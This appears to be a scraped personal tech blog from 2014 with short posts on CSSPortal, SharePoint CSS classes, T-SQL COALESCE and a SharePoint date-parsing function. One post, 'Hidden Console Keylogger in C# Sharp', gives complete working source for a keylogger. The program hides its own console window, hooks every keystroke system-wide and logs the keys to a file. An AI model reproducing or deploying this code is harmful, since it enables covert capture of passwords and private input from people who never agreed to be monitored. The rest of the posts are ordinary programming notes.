agni-tech

Buscar

Loading...

Sunday, March 16, 2014

CSSPortal

At CSSPortal, we have gathered as much information as possible to try and help you learn CSS and improve your web design skills. 

At this site, you'll find a range of quality resources all geared towards CSS, if you're looking for a new design for your website, then please check out our range of CSS Templates or if you would like to design your own site, you may wish to check out some software to help, go to CSS Software for some great programs. 

Also at CSSPortal, you'll find all the CSS Properties,CSS Books and a nice collection of CSS examples.

http://www.cssportal.com/


Wednesday, February 5, 2014

Cascading Style Sheets Class Usage in SharePoint

http://msdn.microsoft.com/en-us/library/office/ms438349(v=office.14).aspx

Element
CSS Class(es)
Notes
<body>
v4master
Applies CSS styles in corev4.css to the page.
Ribbon container
s4-pr
Makes the Ribbon container the full width of the page row.
s4-ribbonrowhidetitle
Used to show or hide the ribbon title area when the ribbon is opened or closed.
ms-cui-ribbon
Defines the main ribbon CSS class.
ms-cui-ribbonTopBars
Defines the elements above the ribbon body, from the top of the page up to and including the ribbon tab titles.
Site Actions menu
ms-siteactionsmenu
Sets styles for the Site Actions menu as a whole.
ms-siteactionsmenuinner
Sets styles for the inner Site Actions menu.
ms-menu-a
Sets the margin-right property on the top menu.
Breadcrumb menu
s4-breadcrumb-menu
Sets styles for the Breadcrumb menu as a whole.
s4-breadcrumb-anchor
Sets styles on hover over the Breadcrumb menu.
Breadcrumb menu header
s4-breadcrumb-top
Sets styles on the Breadcrumb menu top area when the drop-down tree is open.
s4-breadcrumb-header
Sets styles on the breadcrumb folder icon when the breadcrumb tree drop-down menu is selected.
Breadcrumb menu items
s4-breadcrumb
Sets breadcrumb item styles.
s4-breadcrumbRootNode
Sets styles on the breadcrumb Team Site root tree element.
s4-breadcrumbCurrentNode
Sets styles on the breadcrumb Home tree element.
Edit tab
ms-qatbutton
Sets styles on the Edit tab.
Browse tab
ms-cui-tts
Sets styles for the container for the tab title.
ms-cui-tt
Sets styles for the tab title.
ms-browseTab
Sets styles specific to the Browse tab
ms-cui-tt-s
Sets styles for a selected tab title.
ms-cui-tt-a
Sets styles for the Ribbon tab title anchor (the link element that makes the table title clickable).
ms-cui-tt-span
Sets styles for tab title span.
Page Tab
ms-cui-tt
Sets styles for the tab title.
ms-cui-tt-a
Sets styles for the Ribbon tab title anchor (the link element that makes the table title clickable).
ms-cui-tt-span
Sets styles for tab title span.
User menu
s4-trc-container-menu
Sets styles for the top right corner container menu.
ms-SPLink
Sets styles applied to a menu item.
ms-welcomeMenu
Sets the margin-right property on a drop-down menu item.
ms-menu-a
Sets the margin-right property on the top menu.
Title row
s4-pr
Makes the Title row the full width of the page row.
s4-title
Sets styles on page title elements.
s4-lp
Sets styles for elements on the left part of the page.
s4-titlelogo
Sets margin and alignment on the title logo image.
s4-titletext
Sets styles on all text to the right of the page logo graphic.
Search area
s4-search
Sets padding values on the Search control in the secondary menu.
s4-rp
Sets styles for elements on the right part of the page.
QuickLaunch menu items
menu-item
Sets styles for the Home button located under the Site logo.
menu-item-text
Sets styles on the text of the Home button.
Recycle Bin link
s4-rcycl
Sets styles specific to the Recycle Bin link element.
ms-splinkbutton-text
Sets styles on the link element.
All Site Content link
s4-specialNavIcon
Sets styles specific to the All Site Content link element.
ms-splinkbutton-text
Sets styles on the link element.
Shared Documents link
ms-WPHeaderTd
Sets styles on the header section in the Web Part.
ms-standardheader
Sets standard header styles.
ms-WPTitle
Sets styles on the Web Part title.
Web part menu
ms-WPHeaderTdMenu
Sets styles on the Web Part menu.
ms-WPHeaderMenuImg
Sets styles on the Web Part menu image.
Selection checkbox
ms-WPHeaderTdSelection
Sets styles on the Web Part selection check box.
ms-WPHeaderTdSelSpan
Sets span styles on the Web Part selection check box.
Item selection checkbox
ms-vh-icon
Sets styles on the item selection check-box icon.
ms-vh2
Sets the height property.
Type option, Name option, Modified option, Modified By option
ms-vh-div
Sets padding-top property.
s4-ctx
Sets padding, position, and display properties on the drop-down menu.
ms-vh2
Sets the height property.
Shared Documents text
ms-vb
Sets styles on the Shared Documents control group text area (bottom of group).
Add document link
ms-addnew
Sets styles specified to the Add document link.
Photo image
ms-rte-layoutszone-outer
Rich text editor class that sets the float property on controls of the Team Site Home Web part.
ms-rte-layoutszone-inner
Rich text editor class that sets styles on content areas of the Team Site Home Web part.
ms-rteThemeForeColor-5-5
Rich text editor class that sets the theme fore-color (to dark blue) on the Getting Started Wiki area.
Getting Started area
ms-rte-layoutszone-outer
Rich text editor class that sets the float property on controls of the Team Site Home Web part.
ms-rte-layoutszone-inner
Rich text editor class that sets styles on content areas of the Team Site Home Web part.
ms-rteThemeForeColor-5-5
Rich text editor class that sets the theme fore-color (to dark blue) on the Getting Started Wiki area.
Share this site, Change site theme, Set site icon, Customize QuickLaunch links
ms-rteTable-0, ms-rteTableEvenRow-0, ms-rteTableEvenCol-0, ms-rteTableOddCol-0, ms-rteTableOddRow-0
Rich text editor classes that set styles on the controls under the Getting Started Wiki area.

Thursday, January 23, 2014

COALESCE (Transact-SQL)

Evaluates the arguments in order and returns the current value of the first expression that initially does not evaluate to NULL (Avalia os argumentos ordenadamente e retorna o valor atual da primeira expressão que, inicialmente, não avalia NULL).

The ISNULL function and the COALESCE expression have a similar purpose but can behave differently.
(A função ISNULL e COALESCE a expressão tem um propósito semelhante, mas podem se comportar de forma diferente)
  1. Because ISNULL is a function, it is evaluated only once. As described above, the input values for the COALESCE expression can be evaluated multiple times.
  2. Data type determination of the resulting expression is different. ISNULL uses the data type of the first parameter, COALESCE follows the CASE expression rules and returns the data type of value with the highest precedence.
  3. The NULL ability of the result expression is different for ISNULL and COALESCE. The ISNULL return value is always considered NOT NULLable (assuming the return value is a non-nullable one) whereas COALESCE with non-null parameters is considered to be NULL. So the expressions ISNULL(NULL, 1) and COALESCE(NULL, 1) although equivalent have different nullability values. This makes a difference if you are using these expressions in computed columns, creating key constraints or making the return value of a scalar UDF deterministic so that it can be indexed.
sample code...

SELECT 
CAST ( COALESCE ( hour_rate * 40 * 52, base_sal, comis * number_sales )   AS money)  AS 'Total' 
FROM [table]
ORDER BY 'Total';






eXpress App Framework

Online Documentation

.NET Application Framework

Getting Started: Dashboard

Tuesday, January 21, 2014

convertSPDate by Ben Tedder

function convertSPDate(d) {
/*
*  A function to convert a standard SharePoint
* date/time field (YYYY-MM-DD HH:MM:SS) to a
* javascript Date() object
*
*/
    // split apart the date and time
var xDate = d.split(" ")[0];
var xTime = d.split(" ")[1];
 
    // split apart the hour, minute, & second
var xTimeParts = xTime.split(":");
var xHour = xTimeParts[0];
var xMin = xTimeParts[1];
var xSec = xTimeParts[2];
 
    // split apart the year, month, & day
var xDateParts = xDate.split("-");
var xYear = xDateParts[0];
var xMonth = xDateParts[1];
var xDay = xDateParts[2];
var dDate = new Date(xYear, xMonth, xDay, xHour, xMin, xSec);
return dDate;

Using Search Object Model



SharePoint: Creating Search Queries Programmatically ...

Web Service in jQuery

Friday, January 3, 2014

Hidden Console Keylogger in C# Sharp

using System;
using System.Diagnostics;
using System.Windows.Forms; //adicionar referência ao projeto (console app)
using System.Runtime.InteropServices;
using System.IO;

namespace Mecapture
{

    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        public static void Main()
        {
            var handle = GetConsoleWindow();

            // Hide
            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);

        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private delegate IntPtr LowLevelKeyboardProc(
            int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
                sw.Write((Keys)vkCode);
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;

    }

}


Internacionalização de sites asp.net

Internacionalização de sites - Blog Mayogax

* Tip by Lucas Massena - Microsoft Consultant